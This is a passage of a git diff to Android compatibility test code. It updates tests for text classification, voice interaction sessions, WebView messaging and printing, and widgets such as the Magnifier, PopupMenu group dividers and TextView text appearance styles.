 import android.view.textclassifier.TextClassificationManager;
 import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextLinks;
 import android.view.textclassifier.TextSelection;
 
 import org.junit.Before;
@@ -42,7 +43,10 @@
     private static final LocaleList LOCALES = LocaleList.forLanguageTags("en");
     private static final int START = 1;
     private static final int END = 3;
-    private static final String TEXT = "text";
+    // This text has lots of things that are probably entities in many cases.
+    private static final String TEXT = "An email address is test@example.com. A phone number"
+            + " might be +12122537077. Somebody lives at 123 Main Street, Mountain View, CA,"
+            + " and there's good stuff at https://www.android.com :)";
 
     private TextClassificationManager mManager;
     private TextClassifier mClassifier;
@@ -57,12 +61,14 @@
 
     @Test
     public void testSmartSelection() {
-        assertValidResult(mClassifier.suggestSelection(TEXT, START, END, LOCALES));
+        assertValidResult(mClassifier.suggestSelection(TEXT, START, END,
+                new TextSelection.Options().setDefaultLocales(LOCALES)));
     }
 
     @Test
     public void testClassifyText() {
-        assertValidResult(mClassifier.classifyText(TEXT, START, END, LOCALES));
+        assertValidResult(mClassifier.classifyText(TEXT, START, END,
+                new TextClassification.Options().setDefaultLocales(LOCALES)));
     }
 
     @Test
@@ -70,14 +76,16 @@
         mManager.setTextClassifier(TextClassifier.NO_OP);
         mClassifier = mManager.getTextClassifier();
 
-        final TextSelection selection = mClassifier.suggestSelection(TEXT, START, END, LOCALES);
+        final TextSelection selection = mClassifier.suggestSelection(TEXT, START, END,
+                new TextSelection.Options().setDefaultLocales(LOCALES));
         assertValidResult(selection);
         assertEquals(START, selection.getSelectionStartIndex());
         assertEquals(END, selection.getSelectionEndIndex());
         assertEquals(0, selection.getEntityCount());
 
         final TextClassification classification =
-                mClassifier.classifyText(TEXT, START, END, LOCALES);
+                mClassifier.classifyText(TEXT, START, END,
+                        new TextClassification.Options().setDefaultLocales(LOCALES));
         assertValidResult(classification);
         assertNull(classification.getText());
         assertEquals(0, classification.getEntityCount());
@@ -88,6 +96,11 @@
     }
 
     @Test
+    public void testGenerateLinks() {
+        assertValidResult(mClassifier.generateLinks(TEXT, null));
+    }
+
+    @Test
     public void testSetTextClassifier() {
         final TextClassifier classifier = mock(TextClassifier.class);
         mManager.setTextClassifier(classifier);
@@ -96,6 +109,8 @@
 
     private static void assertValidResult(TextSelection selection) {
         assertNotNull(selection);
+        assertTrue(selection.getSelectionStartIndex() >= 0);
+        assertTrue(selection.getSelectionEndIndex() > selection.getSelectionStartIndex());
         assertTrue(selection.getEntityCount() >= 0);
         for (int i = 0; i < selection.getEntityCount(); i++) {
             final String entity = selection.getEntity(i);
@@ -104,6 +119,7 @@
             assertTrue(confidenceScore >= 0);
             assertTrue(confidenceScore <= 1);
         }
+        assertNotNull(selection.getSignature());
     }
 
     private static void assertValidResult(TextClassification classification) {
@@ -116,6 +132,23 @@
             assertTrue(confidenceScore >= 0);
             assertTrue(confidenceScore <= 1);
         }
+        assertTrue(classification.getSecondaryActionsCount() >= 0);
+        assertNotNull(classification.getSignature());
+    }
+
+    private static void assertValidResult(TextLinks links) {
+        assertNotNull(links);
+        for (TextLinks.TextLink link : links.getLinks()) {
+            assertTrue(link.getEntityCount() > 0);
+            assertTrue(link.getStart() >= 0);
+            assertTrue(link.getStart() <= link.getEnd());
+            for (int i = 0; i < link.getEntityCount(); i++) {
+                String entityType = link.getEntity(i);
+                assertNotNull(entityType);
+                final float confidenceScore = link.getConfidenceScore(entityType);
+                assertTrue(confidenceScore >= 0);
+                assertTrue(confidenceScore <= 1);
+            }
+        }
     }
 }
-
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java
index 6ada1b8..203be4d 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java
@@ -20,6 +20,7 @@
 import android.app.VoiceInteractor.Prompt;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.LauncherApps;
 import android.os.AsyncTask;
 import android.os.Bundle;
 import android.service.voice.VoiceInteractionSession;
@@ -46,6 +47,10 @@
     public void onCreate() {
         super.onCreate();
         Intent sessionStarted = new Intent();
+        sessionStarted.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        if (!getContext().getSystemService(LauncherApps.class).hasShortcutHostPermission()) {
+            sessionStarted.putExtra("error", "Does not have shortcut permission");
+        }
         sessionStarted.setClassName("android.voiceinteraction.cts",
                 "android.voiceinteraction.cts.VoiceInteractionTestReceiver");
         getContext().sendBroadcast(sessionStarted);
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/LocalVoiceInteractionTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/LocalVoiceInteractionTest.java
index 07236b2..66c945a 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/LocalVoiceInteractionTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/LocalVoiceInteractionTest.java
@@ -71,7 +71,6 @@
         if (!mHasFeature) {
             return;
         }
-        VoiceInteractionTestReceiver.sServiceStartedLatch.await(5, TimeUnit.SECONDS);
 
         assertTrue("Doesn't support LocalVoiceInteraction",
                 mTestActivity.isLocalVoiceInteractionSupported());
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java
index 77c9f26..1abd00f 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java
@@ -87,7 +87,7 @@
     }
 
     public void testAll() throws Exception {
-        VoiceInteractionTestReceiver.sServiceStartedLatch.await(5, TimeUnit.SECONDS);
+        VoiceInteractionTestReceiver.waitSessionStarted(this, 5, TimeUnit.SECONDS);
 
         if (!mHasFeature) {
             Log.i(TAG, "The device doesn't support feature: " + FEATURE_VOICE_RECOGNIZERS);
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTestReceiver.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTestReceiver.java
index 118f049..7f875c4 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTestReceiver.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTestReceiver.java
@@ -21,15 +21,31 @@
 import android.content.Intent;
 import android.util.Log;
 
+import junit.framework.TestCase;
+
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 public class VoiceInteractionTestReceiver extends BroadcastReceiver {
 
-    public static CountDownLatch sServiceStartedLatch = new CountDownLatch(1);
+    private static CountDownLatch sServiceStartedLatch = new CountDownLatch(1);
+    private static Intent sReceivedIntent;
+
+    public static void waitSessionStarted(TestCase testCase, long timeout, TimeUnit unit)
+            throws InterruptedException {
+        if (!sServiceStartedLatch.await(5, TimeUnit.SECONDS)) {
+            testCase.fail("Timed out waiting for session to start");
+        }
+        String error = sReceivedIntent.getStringExtra("error");
+        if (error != null) {
+            testCase.fail(error);
+        }
+    }
 
     @Override
     public void onReceive(Context context, Intent intent) {
         Log.i("VoiceInteractionTestReceiver", "Got broadcast that MainInteractionService started");
+        sReceivedIntent = intent;
         sServiceStartedLatch.countDown();
     }
 }
\ No newline at end of file
diff --git a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
index dbfb031..7c6cf53 100644
--- a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
+++ b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
@@ -135,6 +135,7 @@
 
     private void broadcastResults() {
         Intent intent = new Intent(Utils.BROADCAST_INTENT);
+        intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
         intent.putExtras(mTotalInfo);
         Log.i(TAG, "broadcasting: " + intent.toString() + ", Bundle = " + mTotalInfo.toString());
         sendOrderedBroadcast(intent, null, new DoneReceiver(),
diff --git a/tests/tests/webkit/AndroidManifest.xml b/tests/tests/webkit/AndroidManifest.xml
index 83775df..6235c43 100644
--- a/tests/tests/webkit/AndroidManifest.xml
+++ b/tests/tests/webkit/AndroidManifest.xml
@@ -22,7 +22,7 @@
     <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <application android:maxRecents="1">
+    <application android:maxRecents="1" android:usesCleartextTraffic="true">
         <provider android:name="android.webkit.cts.MockContentProvider"
                   android:exported="true"
                   android:authorities="android.webkit.cts.MockContentProvider" />
diff --git a/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java b/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
index ecc3e4f..0fa239d 100644
--- a/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
@@ -101,12 +101,26 @@
 
     // Post a string message to main frame and make sure it is received.
     public void testSimpleMessageToMainFrame() throws Throwable {
+        verifyPostMessageToOrigin(Uri.parse(BASE_URI));
+    }
+
+    // Post a string message to main frame passing a wildcard as target origin
+    public void testWildcardOriginMatchesAnything() throws Throwable {
+        verifyPostMessageToOrigin(Uri.parse("*"));
+    }
+
+    // Post a string message to main frame passing an empty string as target origin
+    public void testEmptyStringOriginMatchesAnything() throws Throwable {
+        verifyPostMessageToOrigin(Uri.parse(""));
+    }
+
+    private void verifyPostMessageToOrigin(Uri origin) throws Throwable {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
         loadPage(TITLE_FROM_POST_MESSAGE);
         WebMessage message = new WebMessage(WEBVIEW_MESSAGE);
-        mOnUiThread.postWebMessage(message, Uri.parse(BASE_URI));
+        mOnUiThread.postWebMessage(message, origin);
         waitForTitle(WEBVIEW_MESSAGE);
     }
 
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
index 0708568..688fc33 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
@@ -898,8 +898,8 @@
     }
 
     private void clearClientCertPreferences() {
-       final AtomicBoolean cleared = new AtomicBoolean(false);
-        mOnUiThread.clearClientCertPreferences(new Runnable() {
+        final AtomicBoolean cleared = new AtomicBoolean(false);
+        WebView.clearClientCertPreferences(new Runnable() {
             @Override
             public void run() {
                 cleared.set(true);
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
old mode 100755
new mode 100644
index e5939fd..32be1c9
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -27,6 +27,7 @@
 import android.graphics.Color;
 import android.graphics.Picture;
 import android.graphics.Rect;
+import android.graphics.pdf.PdfRenderer;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.CancellationSignal;
@@ -38,6 +39,7 @@
 import android.os.StrictMode;
 import android.os.StrictMode.ThreadPolicy;
 import android.os.SystemClock;
+import android.platform.test.annotations.Presubmit;
 import android.print.PageRange;
 import android.print.PrintAttributes;
 import android.print.PrintDocumentAdapter;
@@ -212,6 +214,7 @@
         StrictMode.setThreadPolicy(oldPolicy);
     }
 
+    @Presubmit
     @UiThreadTest
     public void testConstructor() {
         if (!NullWebViewUtils.isWebViewAvailable()) {
@@ -272,7 +275,7 @@
         assertNotNull(CookieSyncManager.getInstance());
     }
 
-    @UiThreadTest
+    // Static methods should be safe to call on non-UI threads
     public void testFindAddress() {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
@@ -2562,7 +2565,8 @@
                     // Called on UI thread
                     @Override
                     public void onLayoutFinished(PrintDocumentInfo info, boolean changed) {
-                        savePrintedPage(adapter, descriptor, result);
+                        PageRange[] pageRanges = new PageRange[] {PageRange.ALL_PAGES};
+                        savePrintedPage(adapter, descriptor, pageRanges, result);
                     }
                 });
         try {
@@ -2580,6 +2584,57 @@
         }
     }
 
+    // Verify Print feature can create a PDF file with correct number of pages.
+    public void testPrintingPagesCount() throws Throwable {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+        String content = "<html><head></head><body>";
+        for (int i = 0; i < 500; ++i) {
+            content += "<br />abcdefghijk<br />";
+        }
+        content += "</body></html>";
+        mOnUiThread.loadDataAndWaitForCompletion(content, "text/html", null);
+        final PrintDocumentAdapter adapter =  mOnUiThread.createPrintDocumentAdapter();
+        printDocumentStart(adapter);
+        PrintAttributes attributes = new PrintAttributes.Builder()
+                .setMediaSize(PrintAttributes.MediaSize.ISO_A4)
+                .setResolution(new PrintAttributes.Resolution("foo", "bar", 300, 300))
+                .setMinMargins(PrintAttributes.Margins.NO_MARGINS)
+                .build();
+        final WebViewCtsActivity activity = getActivity();
+        final File file = activity.getFileStreamPath(PRINTER_TEST_FILE);
+        final ParcelFileDescriptor descriptor = ParcelFileDescriptor.open(file,
+                ParcelFileDescriptor.parseMode("w"));
+        final FutureTask<Boolean> result =
+                new FutureTask<Boolean>(new Callable<Boolean>() {
+                            public Boolean call() {
+                                return true;
+                            }
+                        });
+        printDocumentLayout(adapter, null, attributes,
+                new LayoutResultCallback() {
+                    // Called on UI thread
+                    @Override
+                    public void onLayoutFinished(PrintDocumentInfo info, boolean changed) {
+                        PageRange[] pageRanges = new PageRange[] {
+                            new PageRange(1, 1), new PageRange(4, 7)
+                        };
+                        savePrintedPage(adapter, descriptor, pageRanges, result);
+                    }
+                });
+        try {
+            result.get(TEST_TIMEOUT, TimeUnit.MILLISECONDS);
+            assertTrue(file.length() > 0);
+            PdfRenderer renderer = new PdfRenderer(
+                ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY));
+            assertEquals(5, renderer.getPageCount());
+        } finally {
+            descriptor.close();
+            file.delete();
+        }
+    }
+
     public void testVisualStateCallbackCalled() throws Exception {
         // Check that the visual state callback is called correctly.
         if (!NullWebViewUtils.isWebViewAvailable()) {
@@ -2808,8 +2863,9 @@
     }
 
     private void savePrintedPage(final PrintDocumentAdapter adapter,
-            final ParcelFileDescriptor descriptor, final FutureTask<Boolean> result) {
-        adapter.onWrite(new PageRange[] {PageRange.ALL_PAGES}, descriptor,
+            final ParcelFileDescriptor descriptor, final PageRange[] pageRanges,
+            final FutureTask<Boolean> result) {
+        adapter.onWrite(pageRanges, descriptor,
                 new CancellationSignal(),
                 new WriteResultCallback() {
                     @Override
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index f7fa1d4..052d3b0 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -570,6 +570,14 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.widget.cts.MagnifierCtsActivity"
+                  android:label="MagnifierCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
         <receiver android:name="android.widget.cts.appwidget.MyAppWidgetProvider" >
             <intent-filter>
                 <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
diff --git a/tests/tests/widget/res/layout/autocompletetextview_layout.xml b/tests/tests/widget/res/layout/autocompletetextview_layout.xml
index 793dfb0..32eefb7 100644
--- a/tests/tests/widget/res/layout/autocompletetextview_layout.xml
+++ b/tests/tests/widget/res/layout/autocompletetextview_layout.xml
@@ -18,6 +18,7 @@
     android:orientation="vertical"
     android:layout_width="match_parent"
     android:layout_height="wrap_content">
+    <requestFocus />
 
     <TextView android:id="@+id/autocompletetv_title"
         android:layout_width="wrap_content"
diff --git a/tests/tests/widget/res/layout/list_popup_window.xml b/tests/tests/widget/res/layout/list_popup_window.xml
index bcf5893..fd9dcdf 100644
--- a/tests/tests/widget/res/layout/list_popup_window.xml
+++ b/tests/tests/widget/res/layout/list_popup_window.xml
@@ -19,6 +19,7 @@
     android:id="@+id/main_container"
     android:layout_width="match_parent"
     android:layout_height="match_parent">
+    <requestFocus />
 
     <android.widget.cts.MockViewForListPopupWindow
         android:id="@+id/anchor_upper_left"
diff --git a/tests/tests/widget/res/layout/magnifier_layout.xml b/tests/tests/widget/res/layout/magnifier_layout.xml
new file mode 100644
index 0000000..989d33d
--- /dev/null
+++ b/tests/tests/widget/res/layout/magnifier_layout.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/magnifier_layout"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content">
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/textview_layout.xml b/tests/tests/widget/res/layout/textview_layout.xml
index d311d75..9c22381 100644
--- a/tests/tests/widget/res/layout/textview_layout.xml
+++ b/tests/tests/widget/res/layout/textview_layout.xml
@@ -383,6 +383,52 @@
                 android:text="@string/sample_text"
                 android:justificationMode="inter_word" />
 
+            <TextView
+                android:id="@+id/textview_textappearance_attrs1"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/sample_text"
+                style="@null"
+                android:textAppearance="@style/TextAppearance.Xml1" />
+
+            <TextView
+                android:id="@+id/textview_textappearance_attrs2"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/sample_text"
+                style="@null"
+                android:textAppearance="@style/TextAppearance.Xml2" />
+
+            <TextView
+                android:id="@+id/textview_textappearance_attrs3"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/sample_text"
+                android:textAppearance="@style/TextAppearance.Xml2"
+                style="@style/TextAppearance.Xml3" />
+
+            <TextView
+                android:id="@+id/textview_textappearance_attrs4"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/sample_text"
+                style="@style/TextAppearance.Xml3" />
+
+            <TextView
+                android:id="@+id/textview_textappearance_attrs_allcaps_password"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/sample_text"
+                style="@style/AllCapsPassword" />
+
+            <TextView
+                android:id="@+id/textview_textappearance_attrs_serif_fontfamily"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/sample_text"
+                android:typeface="serif"
+                android:textAppearance="@style/TextAppearance.Xml2" />
+
         </LinearLayout>
 
 </ScrollView>
diff --git a/tests/tests/widget/res/menu/popup_menu.xml b/tests/tests/widget/res/menu/popup_menu.xml
index 29daad0..a2653b4 100644
--- a/tests/tests/widget/res/menu/popup_menu.xml
+++ b/tests/tests/widget/res/menu/popup_menu.xml
@@ -18,12 +18,14 @@
           android:title="@string/popup_menu_highlight"
           android:contentDescription="@string/popup_menu_highlight_description"
           android:tooltipText="@string/popup_menu_highlight_tooltip" />
-    <item android:id="@+id/action_edit"
-          android:title="@string/popup_menu_edit"
-          android:contentDescription="@string/popup_menu_edit_description"
-          android:tooltipText="@string/popup_menu_edit_tooltip" />
-    <item android:id="@+id/action_delete"
-          android:title="@string/popup_menu_delete" />
+    <group android:id="@+id/group_test2">
+        <item android:id="@+id/action_edit"
+              android:title="@string/popup_menu_edit"
+              android:contentDescription="@string/popup_menu_edit_description"
+              android:tooltipText="@string/popup_menu_edit_tooltip" />
+        <item android:id="@+id/action_delete"
+              android:title="@string/popup_menu_delete" />
+    </group>
     <item android:id="@+id/action_ignore"
           android:title="@string/popup_menu_ignore" />
     <item android:id="@+id/action_share"
diff --git a/tests/tests/widget/res/values/styles.xml b/tests/tests/widget/res/values/styles.xml
index a47f169..8d44c7a 100644
--- a/tests/tests/widget/res/values/styles.xml
+++ b/tests/tests/widget/res/values/styles.xml
@@ -109,6 +109,43 @@
         <item name="android:textStyle">normal</item>
     </style>
 
+    <style name="TextAppearance.Xml1">
+        <item name="android:textSize">22px</item>
+        <item name="android:typeface">sans</item>
+        <item name="android:textStyle">italic</item>
+        <item name="android:textAllCaps">true</item>
+        <item name="android:letterSpacing">2.4</item>
+        <item name="android:fontFeatureSettings">smcp</item>
+    </style>
+
+    <style name="TextAppearance.Xml2">
+        <item name="android:fontFamily">monospace</item>
+        <item name="android:textStyle">normal</item>
+        <item name="android:shadowColor">@drawable/red</item>
+        <item name="android:shadowDx">10.3</item>
+        <item name="android:shadowDy">0.5</item>
+        <item name="android:shadowRadius">3.3</item>
+        <item name="android:elegantTextHeight">true</item>
+    </style>
+
+    <style name="TextAppearance.Xml3">
+        <item name="android:textSize">32px</item>
+        <item name="android:fontFamily">serif</item>
+        <item name="android:textStyle">bold</item>
+        <item name="android:textAllCaps">false</item>
+        <item name="android:letterSpacing">2.6</item>
+        <item name="android:shadowColor">@drawable/blue</item>
+        <item name="android:shadowDx">1.3</item>
+        <item name="android:shadowDy">10.5</item>
+        <item name="android:shadowRadius">5.3</item>
+        <item name="android:elegantTextHeight">false</item>
+    </style>
+
+    <style name="AllCapsPassword">
+        <item name="android:textAllCaps">true</item>
+        <item name="android:password">true</item>
+    </style>
+
     <style name="TestEnum1">
         <item name="testEnum">val1</item>
     </style>
diff --git a/tests/tests/widget/src/android/widget/cts/GridViewTest.java b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
index 95e3581..189a0c9 100644
--- a/tests/tests/widget/src/android/widget/cts/GridViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
@@ -608,6 +608,7 @@
         final AttachDetachAwareView theView = new AttachDetachAwareView(mActivity);
         WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mGridView, () -> {
             mGridView.setAdapter(new DummyAdapter(1000, theView));
+            mGridView.requestFocus();
         });
         assertEquals("test sanity", 1, theView.mOnAttachCount);
         assertEquals("test sanity", 0, theView.mOnDetachCount);
diff --git a/tests/tests/widget/src/android/widget/cts/MagnifierCtsActivity.java b/tests/tests/widget/src/android/widget/cts/MagnifierCtsActivity.java
new file mode 100644
index 0000000..a828c3d
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/MagnifierCtsActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * A minimal application for {@link MagnifierTest}.
+ */
+public class MagnifierCtsActivity extends Activity {
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.magnifier_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
new file mode 100644
index 0000000..46d3fe5
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.View;
+import android.widget.LinearLayout;
+import android.widget.LinearLayout.LayoutParams;
+import android.widget.Magnifier;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@link Magnifier}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MagnifierTest {
+    private Activity mActivity;
+    private LinearLayout mMagnifierLayout;
+
+    @Rule
+    public ActivityTestRule<MagnifierCtsActivity> mActivityRule =
+            new ActivityTestRule<>(MagnifierCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
+        mMagnifierLayout = mActivity.findViewById(R.id.magnifier_layout);
+    }
+
+    @Test
+    public void testConstructor() {
+        new Magnifier(new View(mActivity));
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testConstructor_NPE() {
+        new Magnifier(null);
+    }
+
+    @Test
+    @UiThreadTest
+    public void testShow() {
+        View view = new View(mActivity);
+        mMagnifierLayout.addView(view, new LayoutParams(200, 200));
+        Magnifier magnifier = new Magnifier(view);
+        // Valid coordinates.
+        magnifier.show(0, 0);
+        // Invalid coordinates, should both be clamped to 0.
+        magnifier.show(-1, -1);
+        // Valid coordinates.
+        magnifier.show(10, 10);
+        // Same valid coordinate as above, should skip making another copy request.
+        magnifier.show(10, 10);
+    }
+
+    @Test
+    @UiThreadTest
+    public void testDismiss() {
+        View view = new View(mActivity);
+        mMagnifierLayout.addView(view, new LayoutParams(200, 200));
+        Magnifier magnifier = new Magnifier(view);
+        // Valid coordinates.
+        magnifier.show(10, 10);
+        magnifier.dismiss();
+        // Should be no-op.
+        magnifier.dismiss();
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
index 5ce73a8..3a85f47 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
@@ -40,6 +40,7 @@
 import android.view.SubMenu;
 import android.view.View;
 import android.widget.EditText;
+import android.widget.ImageView;
 import android.widget.ListView;
 import android.widget.PopupMenu;
 
@@ -273,7 +274,7 @@
 
     @Test
     public void testItemViewAttributes() throws Throwable {
-        mBuilder = new Builder().withDismissListener();
+        mBuilder = new Builder().withDismissListener().withAnchorId(R.id.anchor_upper_left);
         WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, mBuilder::show, true);
 
         Menu menu = mPopupMenu.getMenu();
@@ -303,6 +304,38 @@
         }
     }
 
+    @Test
+    public void testGroupDividerEnabledAPI() throws Throwable {
+        testGroupDivider(false);
+        testGroupDivider(true);
+    }
+
+    private void testGroupDivider(boolean groupDividerEnabled) throws Throwable {
+        mBuilder = new Builder().withGroupDivider(groupDividerEnabled)
+            .withAnchorId(R.id.anchor_upper_left);
+        WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, mBuilder::show, true);
+
+        Menu menu = mPopupMenu.getMenu();
+        ListView menuItemList = mPopupMenu.getMenuListView();
+
+        for (int i = 0; i < menuItemList.getChildCount(); i++) {
+            final int currGroupId = menu.getItem(i).getGroupId();
+            final int prevGroupId =
+                    i - 1 >= 0 ? menu.getItem(i - 1).getGroupId() : currGroupId;
+            View itemView = menuItemList.getChildAt(i);
+            ImageView groupDivider = itemView.findViewById(com.android.internal.R.id.group_divider);
+
+            assertNotNull(groupDivider);
+            if (!groupDividerEnabled || currGroupId == prevGroupId) {
+                assertEquals(groupDivider.getVisibility(), View.GONE);
+            } else {
+                assertEquals(groupDivider.getVisibility(), View.VISIBLE);
+            }
+        }
+
+        teardown();
+    }
+
     /**
      * Inner helper class to configure an instance of {@link PopupMenu} for the specific test.
      * The main reason for its existence is that once a popup menu is shown with the show() method,
@@ -315,6 +348,7 @@
         private boolean mHasMenuItemClickListener;
         private boolean mInflateWithInflater;
 
+        private int mAnchorId = R.id.anchor_middle_left;
         private int mPopupMenuContent = R.menu.popup_menu;
 
         private boolean mUseCustomPopupResource;
@@ -328,6 +362,8 @@
 
         private View mAnchor;
 
+        private boolean mGroupDividerEnabled = false;
+
         public Builder withMenuItemClickListener() {
             mHasMenuItemClickListener = true;
             return this;
@@ -360,8 +396,18 @@
             return this;
         }
 
+        public Builder withGroupDivider(boolean groupDividerEnabled) {
+            mGroupDividerEnabled = groupDividerEnabled;
+            return this;
+        }
+
+        public Builder withAnchorId(int anchorId) {
+            mAnchorId = anchorId;
+            return this;
+        }
+
         private void configure() {
-            mAnchor = mActivity.findViewById(R.id.anchor_middle_left);
+            mAnchor = mActivity.findViewById(mAnchorId);
             if (!mUseCustomGravity && !mUseCustomPopupResource) {
